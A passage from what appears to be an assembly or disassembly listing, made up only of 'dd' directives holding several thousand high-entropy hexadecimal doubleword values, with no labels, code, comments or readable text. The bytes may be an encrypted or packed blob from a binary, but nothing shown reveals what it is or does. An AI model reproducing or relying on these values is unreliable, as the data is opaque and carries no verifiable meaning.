0EE26C32Fh, 1FE0961Ah, 7113CCB4h, 0E8EEE6B9h, 4D001B94h dd 0EDC1DDF7h, 0DBEDA002h, 337E256Dh, 0FC2777DCh, 582C58F8h dd 9AB6597h, 5405525Eh, 7D12AE35h, 3A1B3DEAh, 28AE0D94h dd 9390561Eh, 8826237Eh, 8B25B57Ch, 0DBE8D72Ah, 0C62DB68Ah dd 2534CEF2h, 0D376F901h, 97490958h, 576B0254h, 7315B22h dd 0F6A26E55h, 0D7B55FCCh, 80C62074h, 0F7E0EDEEh, 7E5A50B0h dd 0CEFBDA16h, 4E2E4C5Bh, 0F6FC46BBh, 0ED072FAAh, 39D53FB2h dd 9FF177B5h, 8F3A5F09h, 0E1F24E51h, 77E2FBD2h, 2C565C85h dd 6324E9B4h, 56F078Ah, 5EEB521Eh, 11006520h, 0F180E1D0h dd 0CE88BD0Eh, 0FEF6C459h, 0C2BA4C81h, 9EFFA92Eh, 0D55BEBCBh dd 5E4C8C64h, 0E6CE257Fh, 95EB1EF8h, 97C5628h, 1805B256h dd 77E00376h, 0AE00064Eh, 0CAB454EDh, 0B7D4E991h, 57515702h dd 0E958B3FCh, 20489FEDh, 15C535A9h, 0F3FB9760h, 0CAAB4E2Dh dd 0D575FA1h, 0D258DAFEh, 0C9F1A3BAh, 0F1080958h, 6ED50137h dd 694B5F98h, 2F7784B5h, 0DF895703h, 0D55F5999h, 1B730CDh dd 1308BD80h, 0D0B7704h, 0A4E99175h, 0CA301441h, 18CF815Fh dd 0C6D4D06h, 1071ADC7h, 15290491h, 0B1783AC0h, 0C6079F4Bh dd 0AC681702h, 8510C93Ch, 8D4E8406h, 0C53138FEh, 0E8ACD8E9h dd 0C2550525h, 5223541Dh, 8507A476h, 570917D2h, 5012DC73h dd 3CD60007h, 41B839C1h, 0E9DC47C1h, 12CBB6DFh, 6788A420h dd 3283E041h, 26A713A3h, 3F181DD9h, 4BBFD38Ch, 19DCEA2Fh dd 3A59BF9Ah, 0A1967F0Ah, 7E72C18Bh, 177CCAEFh, 83B856F0h dd 61901A6Fh, 0B4AC968h, 0B7B00FB9h, 0D70BF6FAh, 0D7866AE9h dd 7F31401Eh, 7D4A7DB6h, 83B92850h, 0B035F26Eh, 0D32D5357h dd 51DD5978h, 0FC445A7Bh, 0F9E45A26h, 285B5ADAh, 0D790E949h dd 0CFC32D2h, 2BAD3D4Fh, 802728BAh, 28E6C31Ch, 2EBACFAh dd 7FB03316h, 88631EB7h, 564552FAh, 7E7C01E6h, 6B033896h dd 0C131F804h, 0CDEDC2AEh, 3BB48570h, 3BAD08CBh, 0A0BAB24h dd 8E9B0D31h, 606842C8h, 0B2530C37h, 99F260Eh, 0FFE98948h dd 24758F2Bh, 0AE82FE78h, 0AB20FF05h, 5E090DD8h, 84561E3Ah dd 176E7C35h, 0C0F41DAEh, 0DFD6FA22h, 0E92AC689h, 0BD07F078h dd 51A173A6h, 0A9A8B9A2h, 0FCAEF5DAh, 16E13520h, 9695407Fh dd 0DF20343Fh, 808BBAE2h, 2D9B4410h, 281EED5Ch, 28E29F71h dd 0F9F7776Ah, 0F8E9E15Fh, 364E2B5Eh, 62E1008Fh, 0A05BD889h dd 90547DAFh, 9B297677h, 0B0DF892Dh, 5F769B75h, 22F7212Eh dd 92F5AAE7h, 5CF5B354h, 42928DFCh, 5DDE2927h, 0A4BDBF48h dd 43130473h, 97C0C531h, 5CF668CFh, 0EA40980Fh, 6548177Bh dd 0C14B8423h, 9E0568F7h, 0D89D5B58h, 0D71DF183h, 9EA2EB7Eh dd 4735001Ah, 31E49214h, 0F89F58C2h, 9F0E2049h, 8806FEBFh dd 5F128E75h, 386624BBh, 235DC8C0h, 5D914B38h, 5A03327Dh dd 295B8413h, 0CE2516FAh, 897113E1h, 52E438ABh, 27B7F09Fh dd 81A7C2E9h, 4C5C73F1h, 62BA0E00h, 214B871Ah, 0BFDAF8D3h dd 0D829F702h, 50E484h, 7C3BB4BBh, 6C1F544h, 0A893AD38h dd 0FEE71CF9h, 16A4F765h, 0CB0BAC3h, 0E756C429h, 31BD0171h dd 56F116BEh, 548F9D0h, 0E0E945EFh, 144DFB8Fh, 0A42FFBA9h dd 48640372h, 34FAEFB9h, 39DE018Eh, 201A1610h, 291D5AC2h dd 0EA8013D2h, 78EB1C3Eh, 1E9094Ah, 3277FEECh, 5BDA541Ah dd 0ED0610E3h, 3FC55F35h, 25867CC8h, 0D15846E8h, 0A832620h dd 0CF2944BAh, 0D9C0E88h, 78CAFF16h, 8CE56812h, 8F02BDFBh dd 316CDAC6h, 895D79E8h, 0C6577368h, 2F340A22h, 88930DDh dd 0D11606C2h, 65CEF800h, 501E0A42h, 0E89F8257h, 0BF190280h dd 0E67FA860h, 705F6FEAh, 55F60065h, 89EC401Eh, 1C945EF5h dd 65780E87h, 0F8110186h, 9D0CA444h, 5865A5D1h, 5024CB8Bh dd 841D022Ch, 0B6403507h, 42B559F6h, 0A351D500h, 0F4E4FF25h dd 69BC3BECh, 0B80B5F1Fh, 9E3A90A7h, 1F052432h, 43688B7Bh dd 0DA113075h, 132D99F6h, 0D8A00BC3h, 8C7E3C3h, 9F095612h dd 98DF64F5h, 36FB20A2h, 478F5818h, 82DD184Ah, 0BCEE4677h dd 797E62DFh, 7FE9A554h, 1FC79230h, 4B884216h, 84006B9h dd 2AD99F59h, 686DDEBh, 124F88BEh, 0E8DCB84h, 0FE5A3F28h dd 4AE96504h, 0FC5A59B8h, 2BF604B0h, 629519CEh, 0E9433CEAh dd 0AEDC2B28h, 622AB895h, 0EC35BEFAh, 7213FE8Eh, 890341D3h dd 95C1EDD1h, 4425C7ACh, 92FA756h, 1D4777A6h, 8A06E905h dd 2A01E120h, 8120010Fh, 0C105ECF3h, 6BA52027h, 171BF41Eh dd 18750743h, 0D47C0043h, 0E9375D67h, 78B486EFh, 6912F381h dd 766015FDh, 5C2C5603h, 5D35680Bh, 0A28D3BB0h, 0AFC765B7h dd 0F802B8DCh, 7458AB2Fh, 2D450714h, 0DE9B26Bh, 0C176ED58h dd 832F0B78h, 0E5229005h, 0F14910ECh, 5806306Fh, 17E275CDh dd 0BAEF2930h, 8E4B0CCDh, 160BA24Ah, 37FAB652h, 26F94F2h dd 0E628D268h, 69B7BEACh, 2370D50Bh, 0E650BC04h, 97C14536h dd 0DA2DE42Fh, 97D8FAD3h, 0EB1125E9h, 0FDE9B7FCh, 6257216h dd 0F0FA4477h, 34A54F5Eh, 6FC9FB5Eh, 9EEDB42h, 0E7C25ADEh dd 0B2DC2CB9h, 0E2C07E0Ch, 0BF5C3005h, 0AA2D7324h, 61EE84D5h dd 512596C8h, 33791FE9h, 7CF86082h, 920CC828h, 73E92F94h dd 5E54B940h, 31C2739Ch, 3FBA55DAh, 9FF9C6FDh, 0C4C38BC0h dd 0DC5B5580h, 38751050h, 0C940CE4Dh, 0F30BEFF5h, 76296870h dd 0C5D1137Eh, 4EB1042Eh, 52614F7h, 306711FAh, 4AB8AAF4h dd 3C4CB293h, 60D2A407h, 22F12992h, 0B44AE2Ah, 0F8BB283Ah dd 77F9C91Ch, 2A689801h, 0B7A67F32h, 0D7512Dh, 7A3AD270h dd 2011BE53h, 6B7CB007h, 475498DDh, 5A500FEAh, 0EBBE2FE9h dd 648EC468h, 0B9090800h, 8574AE21h, 0CC7FECE9h, 2C84920h dd 29EACCCBh, 0F82703CDh, 8A6C48D9h, 6871F105h, 644BF3Eh dd 7DAC0899h, 787C528Bh, 0EF6ED627h, 0A39DD965h, 6A9A9FB3h dd 6FC9020Bh, 29B3E0F1h, 549B0EEh, 7935CEC7h, 0DB2B8231h dd 2A80D509h, 0FEAEF580h, 8FA0C55Bh, 0A8085C0Ch, 74DA510h dd 0CC1143BAh, 1912443Fh, 6A4D40BAh, 1072F7Bh, 804C241h dd 0FDF934E4h, 58C32D8Fh, 801D6B44h, 0A36F51D6h, 74B45358h dd 2A063D04h, 0C300F309h, 0DE95C024h, 17447497h, 0BCC25685h dd 8D5828D5h, 0D76AD26h, 40985666h, 0DEB85B28h, 0FA76C772h dd 84455848h, 410903BDh, 75969200h, 0F726596Ch, 0C5815BDDh dd 0A8FC8401h, 0E026866Bh, 35B8F6BDh, 0CBB1EFDCh, 5EE9CAFCh dd 47A9B528h, 0C6293B21h, 0E8348075h, 39082505h, 4083B813h dd 0C0515C0Dh, 22C82DA3h, 5E95EE8Fh, 785F0B87h, 0DFDAD1DCh dd 0F5972444h, 822B2B2h, 0B542D2F7h, 5B2F4A76h, 3B0A69C2h dd 49ACA076h, 0B80FF49Dh, 436038B3h, 261F8E05h, 2D482200h dd 6ECE919Ch, 61234DE9h dd 5F28113h, 136C732h, 0D06D7D90h, 8BC04170h, 0B6BA04A1h dd 24F34FA8h, 915E08D3h, 0C8EDD820h, 59095BFEh, 86EED058h dd 9574E75Bh, 5A3C2C64h, 0DACECDD8h, 0A0B7F07h, 22EFAA00h dd 4805217Bh, 5D553A25h, 0F5E496C2h, 6DF7878Bh, 0E3531647h dd 13E9847Ch, 0BE4E49E8h, 840F8EC0h, 45645956h, 6F10E611h dd 653A0E34h, 0CCAB74E4h, 66F8E9C8h, 0B54BA592h, 0BE000A12h dd 28BD055Bh, 29260A96h, 26072DD0h, 0B2EE13AAh, 0A5407ECDh dd 64D86431h, 0C4C5A819h, 0AE134BC0h, 12D6E4F6h, 5269FBAFh dd 0C423BC3Bh, 5CF30FD1h, 14C7111Ch, 951CFB88h, 34AC686Ah dd 8297397Fh, 0B6E40559h, 0FB4A3EFAh, 303CC2F3h, 0F16FE755h dd 0FE40D27Bh, 0F0A1C6A4h, 0E9EA58F3h, 0C6505725h, 0FC65F198h dd 5862303Ah, 56B5E831h, 38777219h, 618F0D7h, 0DFE93D67h dd 0C276231Ch, 2D1A44E0h, 0BDAEA01h, 1F1BD608h, 92C4E5Ah dd 955007A9h, 50E90780h, 41921B5Ah, 938B7724h, 5A944EFFh dd 1E04AFC2h, 8DA01EE9h, 17F37729h, 31FEE15Ch, 806F20h dd 7F51D8F6h, 7BC9F0B1h, 2020EB63h, 0F9BD8895h, 5F211612h dd 141D44FBh, 67B6AA51h, 0ADFB587Ch, 1342088Bh, 5809F000h dd 81020F2Bh, 0CB54FDE3h, 0F5854014h, 1C740962h, 0D82DF31h dd 0BF002820h, 0B5C50B5Ah, 4383D83h, 587D43CAh, 0C6ED0685h dd 8876AF48h, 0A169D3E2h, 0CB28D4E3h, 49A9E8E8h, 91D65F82h dd 50C58739h, 0ED87F528h, 0EB655A57h, 80CFFCB2h, 6357668Bh dd 4E06AE35h, 3DCCAF18h, 0CE1B5C08h, 500AF288h, 0F807A666h dd 5963C888h, 0CEE9A0FEh, 229EBA21h, 44549ACh, 5CD835E4h dd 0E52E6D4Eh, 0F35008C7h, 51E2D003h, 2DA2F7B5h, 0CE6CC8DFh dd 0EB3A2CA4h, 4EA262Bh, 80DD715Ch, 3D08C96Fh, 0CB97A379h dd 76C89840h, 5767584Bh, 0A65B1B49h, 840D9444h, 5F00C017h dd 0C7966852h, 0A7DB1C2Eh, 5492902Ch, 71131F0Bh, 0C774AD6Eh dd 6CD5C042h, 685009A3h, 87985343h, 0B43878B3h, 29DC2E65h dd 0D758E986h, 7EDC9F36h, 5D467DCBh, 0F4380F25h, 0B23C65FDh dd 0A3E9C299h, 89455B8Ch, 0C5FFD2F6h, 0C08138FCh, 0F48005E4h dd 4CC4CCB8h, 0BE2302Ch, 0EA7EFE39h, 0BFE3CD7h, 37E4EB3Eh dd 53E8212Fh, 0A0542F1Dh, 2C4FE442h, 3EB05520h, 0A05A3340h dd 2E054CFBh, 5033151h, 0B643B7h, 1B0CEDE1h, 0E9197019h dd 5E316A25h, 0AB4415DDh, 371772ABh, 0BA5287A1h, 33342F02h dd 44AF7ACh, 17EFFC31h, 5851AFFDh, 69A31740h, 410F3B80h dd 940C0FFEh, 26E9F01Dh, 0B2EEE00Bh, 7C5E82F8h, 412972F4h dd 7902202Eh, 0ECA77716h, 7879C1FEh, 2B4F3526h, 4B07C5E8h dd 0E23CA251h, 9CD7D6D8h, 9F1EC5Dh, 6DA65837h, 0E5D44510h dd 98F98880h, 13144B13h, 1027ACA9h, 68099DA5h, 13596DD0h dd 5A796788h, 0E555DDCAh, 0C6E94128h, 7F277FF7h, 46CF24DFh dd 65D64AAAh, 315E0BD6h, 0FFAE2B7Fh, 8129D984h, 83984CF7h dd 0B24BF2Ch, 8480FDEFh, 2FDE255Eh, 0A540F75Bh, 8A783371h dd 6A80E4FDh, 0D0644528h, 0E07B5D64h, 574C06AEh, 0F5044268h dd 3F5C4167h, 830923B9h, 1B0001C5h, 4B3416E3h, 0C497F995h dd 0CB20FB51h, 96A2B05h, 2CE92F1Ah, 2E668F61h, 0E1254EBFh dd 83AD14D8h, 0FC207F28h, 17510720h, 0C786BE56h, 9405B58Eh dd 82338099h, 754C9E25h, 1EE02054h, 0CF5EC80h, 0EE27D45Dh dd 0E3F6880Fh, 0B61A6E11h, 0BCDC31B5h, 0A8DD97D2h, 0F21AB7AEh dd 61894237h, 0F34827Eh, 15A209BEh, 98D05F91h, 89D6F726h dd 0CD70E50Fh, 5D601052h, 4685D47Ch, 0C0D1F609h, 0C3A6888Fh dd 0EA018FF1h, 3198777Fh, 0C93EC201h, 601A9D4Ch, 0DD469189h dd 881BE78h, 6AD6E55Eh, 358CFD80h, 870513A1h, 0D299A1CFh dd 9300E58Fh, 0B5E9D9E7h, 8302A41h, 178CCFC4h, 0FBDB0C66h dd 21D3EA4Eh, 2714B61Bh, 8554C868h, 16702A88h, 0CA6B368Ah dd 0C1DA48D9h, 0F868DC40h, 7C24E952h, 304017B6h, 0FACFC4F1h dd 0E9E008FDh, 87A87516h, 201623F7h, 0B53453E6h, 0A7ACB1BBh dd 5812E90Ch, 0F716AC3Ah, 265930C6h, 0C493C422h, 965B49D9h dd 0D72FA2C0h, 0D1592F89h, 136BA46Dh, 8E73841Bh, 0E95309F7h dd 5F59ABADh, 0BD04A9C6h, 3F2E640Fh, 3D519F80h, 0E94D0927h dd 1ED708F6h, 4CFEFEEFh, 3080AA0Bh, 8165DD38h, 712DCA09h dd 412307D8h, 897A3238h, 215F5169h, 9D222AD7h, 0B19141FDh dd 60A95A03h, 0C82A2463h, 60072D51h, 0FF4E95E5h, 0CD18FFEh dd 0B11A1E9h, 0D8D24913h, 7D266809h, 0B1E9D46Bh, 0EB935497h dd 6BFC59F4h, 73532ED1h, 0F05193BEh, 0E8FD23ABh, 0C2AF294Eh dd 93E1A6A0h, 2C0696BFh, 11D81CBEh, 0ACE53B4Dh, 54A74D7Bh dd 0C0244200h, 4E908007h, 0F25BFD28h, 0C027FE5h, 85F5E9C5h dd 74C5C321h, 0A3FA3B13h, 0B904506Ch, 5899C5D8h, 0E87BE116h dd 0EF41B45Ah, 3A7F15CFh, 1A6CE82Fh, 7D13D3C5h, 0F9ECFB05h dd 0C4ED1EA5h, 34C04C94h, 81A2AC5h, 6DD2751Ch, 0A9B06737h dd 0CC02D667h, 0DED2FF59h, 5B33587Bh, 0B9EBFD14h, 0E724F5D2h dd 6BCEBC5Ch, 0FDF4C87Dh, 0C2469FEEh, 0BFA8EDF2h, 7B02B753h dd 0CF80D7F6h, 0A96FE113h, 50018B5Ch, 82D28DEFh, 0E4F5D370h dd 194E1168h, 167DCF8Ch, 0AF28234Ch, 8A06DF09h, 69085085h dd 0B06805F3h, 3FD1E21Ah, 0EFF01751h, 0AA2FFEE5h, 0ABD2341Eh dd 0ADB80840h, 987B2749h, 84F2BDA3h, 0FF9FDD55h, 473BE7Dh dd 0F8F545C1h, 49642373h, 625371CFh, 0E0C82F28h, 228DE740h dd 0D81F84DFh, 496BB3CFh, 0D525423Ah, 9AD51C89h, 0E049D57Eh dd 2FF97F59h, 0BC069D12h, 0B097CE54h, 38FF5627h, 0B7F2015Ah dd 0E90B4BDBh, 84B2D4C1h, 0FE312A68h, 6112DBE6h, 0B1B256D0h dd 0E17DF209h, 822A42C9h, 40510A6Ch, 88995C2Dh, 9EC3BF57h dd 6261DA0Dh, 88008A6h, 72685F05h, 82DB37BAh, 185D2185h dd 3011A0B9h, 0E963292Eh, 4C9CC773h, 13B3F763h, 166CBEF1h dd 6878E06Fh, 59E90DC4h, 49B9AE91h, 0B02637F8h, 2DDBB0D1h dd 75025Ah, 0E07D39F3h, 0EE314B74h, 6C4FCC62h, 0B9E90B65h dd 0CC5EFEDEh, 6733B740h, 0FE95B04Bh, 95A53A11h, 0B8AC52Fh dd 37584B59h, 3D305597h, 26C1BB79h, 0AECF8147h, 0B81C93F4h dd 7C390950h, 460112E7h, 60E46341h, 0A409C943h, 0DD3F693Dh dd 30E179AFh, 6177EA0Fh, 9A1082BBh, 0D5097D86h, 4804D1A9h dd 4CD6BCA4h, 0CB8B138h, 0FFE4E2C2h, 1C6B88C0h, 84134533h dd 0E046B25Ah, 9A522107h, 94009578h, 634757C7h, 0D7011D12h dd 0BD688CAEh, 1ECC184Ah, 0F84F7064h, 66E50481h, 0F8740162h dd 0E78410FAh, 7A41BF02h, 735D3340h, 551230h, 14452F26h dd 0FD52894Dh, 0D124790Fh, 0A009DDEDh, 0A5CFBBBh, 0A57328FBh dd 21E39702h, 0E097A3E6h, 4BA07DA1h, 5DE1E06Ah, 348C23Eh dd 0D1724CCDh, 8C18014Eh, 291C9B21h, 8F86FEAh, 0FEFA56B0h dd 35AEABDh, 311B696h, 0BE6068F0h, 1A044D6Ah, 0DB043B46h dd 0D5BAC785h, 127AB665h, 0B5F859CAh, 51A34E1h, 261C740Fh dd 0A00F48h, 0E13B5BEEh, 0A8BB53DDh, 211A6179h, 0F498D3F7h dd 2D5909BEh, 68C62255h, 3798FD46h, 9055CBFh, 0F8010E26h dd 3868AF61h, 190353Ah, 86593583h, 0E97C3016h, 2B945B98h dd 0BEA97449h, 0B3259016h, 63FE251Bh, 8454E9E1h, 75EDD45Dh dd 0AA8F316Fh, 0D78C2E1Ah, 0FF3B4E95h, 322D6F2Dh, 4055F869h dd 0D7DD0139h, 8B13BF1Fh dd 0D60BCC5Dh, 0CFB8E95Fh, 25DCBD00h, 1FD0504Ch, 91535DE8h dd 7EDAA5F1h, 82A4CF84h, 32EAF215h, 766E5C0Bh, 0E5D7279Bh dd 65F93F9Dh, 0FFB81EACh, 0F02E5EA1h, 6EB501E4h, 0FAC25FF4h dd 76E97D04h, 0FC4B98B8h, 8835005Fh, 117B2C8h, 4053B8C6h dd 7F952D6Fh, 0D08F1D0Fh, 0FEF4D782h, 191BB97Fh, 282EF53Dh dd 78640859h, 0A6587230h, 8BD44F7Ah, 4CB00555h, 83AE504Ah dd 579A01B8h, 5245FD80h, 0BF022E5Eh, 7E141EF5h, 0F06D6131h dd 5280D35h, 14CB5A78h, 0FCD2E5A3h, 0AC6EB926h, 33170EF8h dd 0C3817D45h, 6DFC5330h, 13BED47Bh, 5A062108h, 0FF5902D1h dd 108B7029h, 0EFB96680h, 795EFD63h, 93BC3584h, 89BAED4Ah dd 2079F209h, 5A91CCEEh, 8F693B0Bh, 1CF3A428h, 568CDEAh dd 0E238FCE3h, 72A75E1Eh, 68162150h, 9BF25CA4h, 8AD1EA96h dd 0A32FDFBAh, 27E5489Ch, 9A2B664Ch, 6AE002EAh, 0F5877742h dd 583A0EFEh, 0E3A81AE5h, 0EF205FC4h, 0EB86A47Fh, 0E0DF012Fh dd 262DE531h, 1A7D6102h, 50610DE1h, 63377E5Dh, 5AA5364h dd 0FA066F43h, 4FDB3280h, 0C83D4826h, 8F4502Dh, 0EC7EC359h dd 5C68F033h, 0A8F3B171h, 3F4F0055h, 40BB523Ch, 0B6505F0Eh dd 562858F1h, 7B2DBC2Ah, 0F0A27402h, 0DE9D515Ch, 8DBABFE5h dd 0F8293EE3h, 7B0EE1Fh, 0ABE469D7h, 5AF105C2h, 0AADDE9BCh dd 173FCC8Dh, 0FE3475C0h, 0C1EF6609h, 0C02B5345h, 0F3305BC3h dd 8DEDEE4h, 8AE9D682h, 39AD44B1h, 542740B8h, 0EA51C5D8h dd 74D12F08h, 65A50FE9h, 3D2F8840h, 3A177626h, 0E92D07A0h dd 742D8BE5h, 321018F8h, 98C4EF83h, 5BB81605h, 442CBA93h dd 0E9E1A15Ah, 3F07F0FAh, 0EE16FE31h, 816BE901h, 5EF3421Bh dd 0EE93E47Bh, 5D19D902h, 0F0AEE992h, 5E48CB8Fh, 0FC983BD0h dd 0D089D497h, 0CB654AE9h, 0DFE15B2Ah, 5A24F33Eh, 66CB3CADh dd 50973856h, 0EE50C5FFh, 1905710Dh, 3E7FA82Fh, 12250940h dd 73E4074h, 17E9101Eh, 0FD680B13h, 9BFF310h, 9574DE39h dd 0F7771E62h, 0FC2D7CE5h, 0B5DDA077h, 0E90945FEh, 59E4D8A2h dd 80892628h, 7E7DC855h, 0B7F77579h, 7DC9F8DCh, 0FF809444h dd 0CC13AB9Ch, 6F1A214Dh, 0B25E5F22h, 0D1EEEB97h, 3B4CD365h dd 68581AF3h, 0EF33854Eh, 0C4A492B2h, 0F90BD1Ch, 6944E1C6h dd 0F0B2002Eh, 9D4C4F4Bh, 0E90877E8h, 0DAD5BE2Dh, 5BF878EEh dd 2ACDB1F5h, 0DD9EC7BCh, 0AE49A5B4h, 0CCAF1431h, 0A5F772Dh dd 8C9EBEBDh, 0C2B5ED4Fh, 31D07C97h, 2BECB59Eh, 64A4BDD5h dd 95FB7A08h, 0C072E9FEh, 502B0DFAh, 0E91AC87Dh, 0DCD8F701h dd 21BB4B5Ch, 798C571Eh, 1252AF29h, 563A917h, 0EBF6389Ch dd 3AFAB220h, 5F132535h, 65E5607Dh, 1E1FB3AAh, 801F8B52h dd 2E5C66D7h, 52404106h, 6B65B400h, 5B5363Eh, 801EE06h dd 0FF5692E9h, 52019727h, 5F511268h, 0A5443A44h, 0B90037CFh dd 43B111E6h, 6ABF41F4h, 1F7E7C0Fh, 85A1E03Ch, 0D407AE07h dd 0D4808238h, 0E8FEE991h, 163F2D00h, 5F201BE4h, 0E0245D53h dd 2CD72C38h, 160B90C8h, 1982680Ah, 62CC3D7Bh, 4A58F6AEh dd 0B0ED6060h, 7260E87Dh, 8E19610Ch, 0A0189E31h, 140CD008h dd 0F5028D4Ch, 33D1750Ch, 2B5F3AE1h, 0A17E4131h, 2E9B896Bh dd 61D7EE62h, 0CF7ABB5Bh, 93354CA3h, 69288EABh, 7759F527h dd 88C9AC3Bh, 0E8EEDA9Bh, 0FA552630h, 88B64E4Bh, 0C77AB05Fh dd 0F8F94369h, 5F64FA5h, 97515E64h, 0E24004BBh, 594B7AA5h dd 421EC9EFh, 0C570E11Eh, 14ABF49Dh, 8416C261h, 0DE644F92h dd 0E1823409h, 8509E470h, 888477B8h, 0E4AD9CEAh, 89AFFBB5h dd 0BEF55A54h, 0ADA195CAh, 7EF1B7E9h, 257C92CAh, 594844EAh dd 0D3943E19h, 0B704BA4Ah, 0F9C2E446h, 0E57B7502h, 0F8FD99BDh dd 0F4D84516h, 28C5C5DBh, 0D128BBD8h, 433460EBh, 992D46E5h dd 0D0220190h, 58BF0C4Fh, 872C025Ah, 23B7CE51h, 203519E0h dd 0BC3EC23Fh, 6FB54586h, 8E59EF8h, 0BD02FC96h, 0C166065Dh dd 8E259AA4h, 0A21AF82Bh, 0D7DB585Bh, 0B0C5F258h, 0B65DBA68h dd 2A086ED5h, 8EDE402Dh, 0BD51D2F2h, 81AE4A3Fh, 2AF32931h dd 56C0E4B2h, 0AE4E4968h, 3C90227Dh, 95DA2620h, 2DEC945Dh dd 0CBE8CC43h, 0DD274F52h, 5D9C481Dh, 321C3B3Eh, 3B3FCD02h dd 3D95F19h, 2B78D802h, 9C8180B7h, 0BF1A4876h, 8824952h dd 0D204E07Dh, 75D12516h, 1A26E5F9h, 5A20151Ch, 0C08A88B9h dd 0AD406A41h, 48BD337Eh, 7202A4Bh, 0C3269D90h, 5F44C08Ah dd 592594B6h, 1C5F27FAh, 40CA4E17h, 82354350h, 889E557h dd 7F27B053h, 0B25AC46h, 4A85BBC7h, 5513BBF4h, 9E3136B8h dd 9FE2C173h, 46EF24DEh, 0BFF4F66Ch, 0B9806871h, 55BD6F21h dd 1DEE2A68h, 6E5A80h, 513E2C8Ch, 0C1E280B1h, 6DB81A7Bh dd 3AB75317h, 0ECD4C9BFh, 0DCB9DA14h, 2FC7D6ADh, 5867E976h dd 0E82DA1AAh, 2708A8F5h, 0DA9404B0h, 0FD585D25h, 6EBD4146h dd 24027F55h, 4318D260h, 74827B9Ch, 0D03B0740h, 589B1A25h dd 0FD01B758h, 7B540D68h, 0A0415BCBh, 9F4F86Fh, 5F22FFE9h dd 0EC990816h, 2FEEFB08h, 0C722C258h, 92702D49h, 2A3C5779h dd 350686EDh, 3016BB42h, 56502749h, 6E262781h, 2DD2D727h dd 0CE50068Bh, 0F94AE918h, 1ED5BA3Eh, 8B2ECC70h, 307FA131h dd 8290C2B0h, 2450C708h, 64A8BD79h, 680209CCh, 945F7EB5h dd 0F2259F6Ch, 0BAFBD4A3h, 0C8812AC3h, 4CA569B6h, 1A2E21AFh dd 5E25BDBCh, 30D374E0h, 0F3C0CE41h, 1EF05FE9h, 31542587h dd 273AEE08h, 8BB80977h, 0E4AB188Dh, 9D389D0Eh, 46549668h dd 0BB5EE951h, 0B6F33E12h, 1B8D35C0h, 0CCB42849h, 391D5F6Ah dd 60158A09h, 2C440837h, 2EF060Bh, 0D87B0A9Ch, 1928515Ch dd 481CFD1Fh, 3EDEE9C5h, 78C601ACh, 6C4B7516h, 0AAAF24FFh dd 0FE41A202h, 0E6C05733h, 0E9275B0Ch, 28B8E0BDh, 8F0403F0h dd 0BF2C5A66h, 9C207B2h, 38BE2E50h, 0FC270BACh, 0D7298192h dd 3E90C5E9h, 93A404B8h, 1C8CF0C2h, 40295E32h, 398070BDh dd 0CF9C46EFh, 25F879FEh, 57D037C7h, 42AE5A5Fh, 7E526832h dd 0B5019CF5h, 4E2DCDC4h, 557412E2h, 5BD704A9h, 96622700h dd 0A5A567F5h, 0C9F0E5F7h, 0E96FF95Fh, 13BC7977h, 538054EFh dd 7785026h, 3BB2273Ch, 0F727C350h, 0EE68D7D0h, 0D4093540h dd 0FDCB2273h, 0F2824609h, 4E013A96h, 0E33FD6F7h, 9FF24E60h dd 30FAE924h, 0B9AABBD8h, 0FBFC0A3Fh, 930B982Ch, 0BECB56EBh dd 50B69420h, 7D1F709h, 0F2622E0Ch, 0E3C0550Ch, 67274AB6h dd 2BE5804h, 686DA377h, 25F4145Bh, 4320C060h, 0D2F72C03h dd 908E000Fh, 0D0096CC8h, 11205F9Dh, 0BC03A4B8h, 3C49C2A1h dd 660C13D6h, 38B4FA12h, 0FCF34EB9h, 0E2A8760Fh, 0FE2717BFh dd 812DF848h, 0E03A5907h, 5FB346Ch, 0A27FC1E5h, 9EF15EDEh dd 0B19C7E96h, 6903F863h, 75CFD4Ch, 61511CC1h, 88D6F69Bh dd 822D5A8Eh, 3CD7D40h, 1D8D282Ch, 0DE2F3B98h, 0D32C6AD3h dd 81019F10h, 92B2ADF5h, 0B71D20C8h, 2B945818h, 4C151B0Ch dd 251BCA2Ch, 12B1AF5Eh, 770CADDCh, 0BBE2D924h, 0B6B810h dd 0DB45EA5h, 3B274A05h, 7B262ED8h, 0D16B0098h, 36AC25E8h dd 2D29A203h, 0AD8206A8h, 0C55391ABh, 11F104BAh, 68293C3Fh dd 547C5727h, 905E5860h, 0D93F2181h, 1EAB3B4Dh, 76D2C2B6h dd 1606659h, 39273ED7h, 0B494F57Ch, 271AEA06h, 9F2AE393h dd 0E91A517Ah, 763A69Fh dd 0D94A9BE2h, 5EFEB142h, 5C801F79h, 0FA535C50h, 564E12B8h dd 7887B59Ch, 0E86C1398h, 0BED698A2h, 8912779Bh, 0E67703E5h dd 94123725h, 7AB87E23h, 117CB4C3h, 0F8080FF5h, 11BC681h dd 98342B54h, 1B100C1Ah, 0BE114A1Ch, 0C60FDFC5h, 0CD65781Fh dd 0A607170Ch, 1368C07Ah, 0E9279333h, 0BBD36048h, 0DF300294h dd 6E3C139h, 0B0F64B57h, 257209FBh, 90E0D134h, 8C09047Ah dd 8ED88925h, 590909E2h, 0A5680533h, 1BED9219h, 12D4DB4Ah dd 69EC9D44h, 4AF5726h, 0BC4D1C16h, 186B0407h, 6C807013h dd 5C711732h, 84258C69h, 5FE5B177h, 8B4FE918h, 0C9B95B00h dd 0BF15447Ah, 30F52200h, 0A0962F90h, 0FD11AC2h, 2EBEE561h dd 7405E725h, 150F16CEh, 0E6577F80h, 84B85BF6h, 1609FCCDh dd 21AF628Bh, 6C311C5h, 4F87FCBCh, 0E944206h, 4640290Ch dd 670077F6h, 0BF576FA8h, 89C68E1h, 0B74E97Ch, 0CA00BB28h dd 50EBD6Ah, 0D42953Ah, 530AE9F1h, 6D8CFCA3h, 0B493Bh dd 0E225D4F2h, 90EAD129h, 546F4050h, 74FE09Dh, 294E972Bh dd 38698380h, 0A8A8504Eh, 14666E27h, 53819D77h, 68968A83h dd 0EA2D254Fh, 78A6743Fh, 0CD01E281h, 0E9478468h, 0A33B2810h dd 0FF59C90Ah, 0E9851F6Dh, 52AB75EBh, 0FFDCEB82h, 0BC105A90h dd 0C3A9C60Bh, 4FB890AEh, 0B49AD8C1h, 20654C48h, 0BDB026E3h dd 0F8B21D15h, 9E2AD02Eh, 0DFD6E8Ah, 0DC3EE26Ah, 6812A4B6h dd 0D47011Fh, 0F7D9CA9Ch, 66910E96h, 1BCB116Bh, 5832CA2Ch dd 6CFDA40Ch, 0C1ABF8DDh, 570BBA10h, 0E2D2206Fh, 429CB3Eh dd 24E94272h, 1D5055FCh, 446E162Fh, 8649EF79h, 595962E6h dd 0E9C3600Fh, 20C0C0A2h, 